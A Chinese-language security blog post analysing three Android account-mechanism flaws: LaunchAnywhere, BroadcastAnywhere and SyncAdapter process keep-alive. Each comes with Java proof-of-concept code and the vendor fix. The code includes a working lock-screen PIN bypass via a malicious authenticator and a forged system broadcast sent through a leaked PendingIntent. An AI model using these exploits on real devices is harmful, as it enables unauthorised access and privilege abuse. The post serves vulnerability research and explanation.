Android账户机制漏洞专题


文章目录
  1. 1. 前言
  2. 2. 账户机制介绍
    1. 2.1. 创建账户:
    2. 2.2. 同步账户:
  3. 3. 漏洞利用及复现
    1. 3.1. Launch Anywhere
      1. 3.1.1. 漏洞原理:
      2. 3.1.2. 复现代码:
      3. 3.1.3. 复现截图:
      4. 3.1.4. 漏洞修复:
    2. 3.2. Broadcast Anyway
      1. 3.2.1. 漏洞原理:
      2. 3.2.2. pendingIntent介绍:
      3. 3.2.3. 攻击思路:
      4. 3.2.4. 复现代码:
      5. 3.2.5. 复现截图:
      6. 3.2.6. 漏洞修复:
    3. 3.3. 系统拉活进程
      1. 3.3.1. SyncAdapter介绍:
      2. 3.3.2. 漏洞原理:
      3. 3.3.3. 实现代码:
      4. 3.3.4. 实现截图:
      5. 3.3.5. 漏洞修复:
  4. 4. 总结

前言

Android 2.0中加入了一个新的包android.accounts,该包主要包括了集中式的账户管理API,用以安全地存储和访问认证的令牌和密码,比如,我们的手机存在多个账户,每个账户下面都有不同的信息,甚至每个账户都可以与不同的服务器之间进行数据同步(例如,手机账户中的联系人可以是一个Gmail账户中的通讯录,可联网进行同步更新)。通俗地讲,就是Android系统会开一个异步进程去帮我们登录(验证)账号,就不需要我们每次点开APP的时候还要走一遍登录(验证)账号的流程。我们根据这个机制,找到了三个可以利用的漏洞。

账户机制介绍

我们先看一下账户机所运用到的API:

创建账户:

首先是class Authenticator extends AbstractAccountAuthenticator ,如下图,该类是账号验证类 ,其中addAccount方法用来定义需要增加账号时的操作,如调用AuthenticatorActivity来进行账号的添加认证:

同步账户:

SyncAdapter继承自AbstractThreadedSyncAdapter,SyncAdapter同样需要一个服务(Service)和一个同步适配器(AbstractThreadedSyncAdapter)。SyncAdapter的Service 需要在AndroidManifest里面声明一个带有Intent:android.content.SyncAdapter的Service来达到向系统注册一个具有同步功能的账户适配器(sync-adapter)。同步的方法主要在:

在开发代码中用accountManager调用了addAccount方法后,就可以在android系统的 设置—>账户 里面可以看到我们创建的账户:

接下来点击Account账户中,可以找到立即同步的按钮,点击的话可以执行“立即同步”,就相当于执行了onPerformSync方法:

下图为安卓系统添加账户的整体流程图:

漏洞利用及复现

Launch Anywhere

AccountManagerService是系统服务之一,暴露给开发者的的接口是AccountManager。普通应用(记为AppA)去请求添加某类账户时,会调用AccountManager.addAccount,然后AccountManager会去查找提供账号的应用(记为AppB)的Authenticator类,调用Authenticator. addAccount方法;AppA再根据AppB返回的Intent去调起AppB的账户登录界面。这个过程如图所示:

漏洞原理:

这种设计的本意是,AccountManagerService帮助AppA查找到AppB账号登陆页面,并呼起这个登陆页面。而问题在于,AppB可以任意指定这个intent所指向的组件,AppA将在不知情的情况下由AccountManagerResponse调用起了一个Activity. 如果AppA是一个system权限应用,比如Settings,那么AppA能够调用起任意AppB指定的未导出Activity。

主要可以利用的代码:

1
2
3
4
5
6
7
8
9
10
11
/** Handles the responses from the AccountManager */
Private class Response extends IAccountManagerResponse.Stub {
truePublic void onResult (Bundle bundle) {
truetrueIntent intent = bundle.getParcelable(KEY_INTENT);
truetrueIf (intent != null && mActivity != null) {
truetrue // since the user provided an Activity we will silently start intents
truetrue // that we see
truetrue mActivity.startActivity(intent);
truetruetrue// leave the Future running to wait for the real response to this request
truetruetrue} else if (bundle.getBoolean ("retry")) {
...

复现代码:

继承了AbstractAccountAuthenticator的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@Override
public Bundle addAccount(AccountAuthenticatorResponse response,
String accountType, String authTokenType,
String[] requiredFeatures, Bundle options)
throws NetworkErrorException {
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"com.android.settings",
"com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
}

在继承了AbstractAccountAuthenticator的类中,我们重写了addAccount方法,配置一个可以打开修改pin码的系统级别的intent,然后再return 带有这个intent的bundle,系统得到这个bundle之后就会去启动这个intent,进而打开重置pin码的页面。

MainAcitivity类:

1
2
3
4
5
6
7
8
9
10
Intent intent1 = new Intent();
intent1.setComponent(new ComponentName(
"com.android.settings",
"com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {TYPE };
intent1.putExtra("account_types", authTypes);
intent1.putExtra("authTypes", authTypes);
this.startActivity(intent1);

这里我们只是在主类中启动了账户页面,并且进入创建账户的页面,从而触发AbstractAccountAuthenticator类中我们重写的addAccount方法,进入重置pin码的界面。

复现截图:

  1. 我们先设置初始pin码为123456,锁屏后需要输入123456来解锁手机。

然后进入手机后,打开我们的APP,就能绕过pin码验证直接跳转到重置pin码界面。

  1. 我们也可以通过调用一些特殊应用的的用户资料界面,这种界面的exported属性一般是false,protectlevel属性signature,在这里也是可以直接导出,直接获取到其的个人敏感信息。(这里就不写相应的代码)

    漏洞修复:

    安卓4.4已经修复了这个漏洞,检查了Step3中返回的intent所指向的Activity和AppB是否是有相同签名的。避免了launch Anywhere的可能。修复代码如下:
    1
    2
    3
    4
    5
    6
    If (PackageManager.SIGNATURE_MATCH !=
    pm.checkSignatures(authenticatorUid, targetUid)) {
    throw new SecurityException(
    "Activity to be started with KEY_INTENT must " +
    "share Authenticator's signatures");
    }

Broadcast Anyway

继上面Android的LaunchAnyWhere组件安全漏洞后,最近Google在Android 5.0的源码上又修复了一个高危漏洞,该漏洞简直是LaunchAnyWhere的姊妹版——BroadcastAnyWhere。通过这个漏洞,攻击者可以以system用户的身份发送广播,这意味着攻击者可以无视一切的BroadcastReceiver组件访问限制。而且该漏洞影响范围极广,Android 2.0+至4.4.x都受影响。

漏洞原理:

BroadcastAnyWhere跟LaunchAnyWhere的利用原理非常类似,两者都利用了Setting的uid是system进程高权限操作。漏洞同样发生在Setting的添加账户的addAccount方法上。根据之前的addAccount方法中我们看到有个参数是Bundle类型的,参数名为options,该参数内部附带有添加用户用的额外信息,我们用代码展示一下内部的信息:

可以看到,该额外参数告诉我们,执行添加账户的用户id是1000,也就是系统用户,有root权限,还有个参数是pendingIntent,该参数是主要是作为身份识别用的,也是具有系统权限的,我们攻击的切入点就是pendingIntent。

pendingIntent介绍:

PendingIntent对象可以按预先指定的动作进行触发,当这个对象传递(通过binder)到其他进程(不同uid的用户),其他进程利用这个PendingIntent对象,可以原进程的身份权限执行指定的触发动作,这有点类似于Linux上suid或guid的效果。另外,由于触发的动作是由系统进程执行的,因此哪怕原进程已经不存在了,PendingIntent对象上的触发动作依然有效。

攻击思路:

PendingIntent提供了一个方法为send (Context context, int code, Intent intent, PendingIntent.OnFinished onFinished, Handler handler, String requiredPermission, Bundle options),里面可以传一个参数为Intent intent,而在5.0的版本之前,我们可以对intent进行任意构造,然后通过pendingIntent发送出去。攻击思路如图:

复现代码:

继承了AbstractAccountAuthenticator的类:

1
2
3
4
5
6
7
8
9
PendingIntent pending_intent = (PendingIntent) options.get("pendingIntent");
Intent intent = new Intent();
intent.setAction("android.intent.action.BOOT_COMPLETED");
try {
pending_intent.send(context, 0, intent, null, null, null);
} catch (PendingIntent.CanceledException e) {
Log.e("addAccount Exception", e.toString());
}
return options;

这里我们在addAccount方法里获取pendingIntent,然后声明一个启动成功Action的Intent,最后让pendingIntent发送带有启动成功Action的广播。由于pendingIntent是系统级别的,所以发出的广播也是系统级别的,于是android系统就会收到该广播,然后执行系统启动成功之后的逻辑。

复现截图:

漏洞修复:

Android 5.0的源码中修复了该漏洞,方法是把放入mPendingIntent的intent,由原来简单的new Intent()改为事先经过一系列填充的identityIntent。这样做,就可以防止第三方的Authenticator(主要是针对木马)进行二次填充。修复代码如下:

1
2
3
4
5
Intent identityIntent = new Intent();
identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
identityIntent.setAction(SHOULD_NOT_RESOLVE);
identityIntent.addCategory(SHOULD_NOT_RESOLVE);
mPendingIntent = PendingIntent.getBroadcast(this, 0, identityIntent, 0);

系统拉活进程

之前在做项目的时候,为了保证APP可以在手机长期存活,我找到了利用Android账户同步机制来拉活APP的进程。在华为6.0、4.4的版本测试可以拉活,在oppo5.0版本测试可以拉活,但是在小米6.0下,杀死进程后就无法通过账户机制拉活,我猜测是小米对账户机制进行了修改。

SyncAdapter介绍:

Android提供了SyncAdapter类用于需要同步本地数据和在线账户信息的应用,如电子邮件的定时收取、笔记应用的云备份、天气应用的及时同步等。它的优势在于可以根据不同条件自动发起数据传输,比如数据变更,间隔一定时间,或者是每天定时。而且,系统会将暂时不能运行的操作添加到队列里,在可能的情况下重新发起。

漏洞原理:

因为账户同步服务是系统维护的一个服务,所以我们的同步的进程是跟随系统的生命周期走,这就意味着只要不关机,这个服务会一直运行,帮我们同步账号。我们看一下功能流程图:

上图是我总结了Android利用SyncAdapter同步账户的逻辑,而开发者可以随意重写onPerformSync()的内容,因此我们可以在onPerformSync()方法中去开启我们APP的Activity、Service等,一旦启动了Activity、Service之后,就等于拉活了我们APP的进程。

实现代码:

MainActivity类:

1
2
3
4
5
6
7
8
9
10
11
12
Bundle bundle = new Bundle();
ContentResolver.setIsSyncable(account, AccountProvider.AUTHORITY, 1);
ContentResolver.setSyncAutomatically(account, AccountProvider.AUTHORITY, true);
ContentResolver.setMasterSyncAutomatically(true);
ContentResolver.addPeriodicSync(account, AccountProvider.AUTHORITY, bundle, 300);//开启同步
SyncService类:
@Override
public void onPerformSync(Account account, Bundle bundle, String s, ContentProviderClient contentProviderClient, SyncResult syncResult) {
Intent i = new Intent(SyncService.this, TestActivity.class);//开启活动
startActivity(i);
}

我们在mainActivity利用ContentResolver去开启账户同步,设置同步周期,然后系统执行同步操作时,会执行onPerformSync()方法,我在该方法中去开启APP中的TestActivity活动。

实现截图:


漏洞修复:

由于该机制可定制度太高,而且比较冷门的功能,因此google一直没有去修补这块,不过小米有阉割掉了这里的拉活,而且刚刚用原生Android 8.0系统测了一下,貌似也是拉活不了。8.0以下都可以拉活。

总结

Android账户机制本身意义是google为了方便用户,不需要总是APP登录和验证账户信息,由系统来维护这些账户的验证。换个思路,这就是为攻击者提供了可以利用的提取系统权限的攻击点。我们在之后的研究可以多找找有系统提供的服务或者间接调用了系统服务的功能,这样可以让系统为我们“服务”。
目前大多数手机厂商针对于账户机制这些相对冷门的功能没有太大的关注,所以在各自品牌手机的rom包中,对于这些机制也未再进行认真的检验处理,这样也就导致很多原生系统存在的漏洞,在各大手机厂商上面同样可以进行攻击,所以需要系统开发人员认真的关注这些功能。

##参考文档:
LAUNCHANYWHERE: ACTIVITY组件权限绕过漏洞解析(GOOGLE BUG 7699048 ):
http://blogs.360.cn/360mobile/2014/08/19/launchanywhere-google-bug-7699048/

Android BroadcastAnyWhere(Google Bug 17356824)漏洞详细分析:
https://blog.csdn.net/l173864930/article/details/41246255/

android添加账户源码浅析:
http://www.cnblogs.com/vendanner/p/5122865.html

broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)
http://blogs.360.cn/360mobile/2014/11/14/broadanywhere-bug-17356824/

Android的账号与同步机制
https://blog.csdn.net/hehui1860/article/details/36900775